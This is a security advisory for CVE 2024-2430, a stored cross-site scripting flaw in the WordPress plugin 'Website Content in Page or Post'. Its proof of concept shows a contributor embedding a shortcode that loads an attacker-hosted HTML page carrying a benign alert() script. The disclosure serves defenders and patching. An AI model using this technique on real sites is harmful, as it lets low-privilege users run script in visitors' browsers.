Website Content in Page or Post < 2024.04.09 – Contributor+ Stored Cross-Site Scripting | CVE 2024-2430

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

Create or edit a post and add a shortcode: [horshipsrectors_get_html_curl URL], where URL is the URL for the page to be shown.

Now host a malicious html file on your server with html as follows:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Alert Example</title>
</head>
<body>

<script>
    window.onload = function() {
        alert("Hello, this is an alert!");
    };
</script>

</body>
</html>

Now provide the URL for the hosted html file and save the page.
XSS will be triggered whenever we visit the page.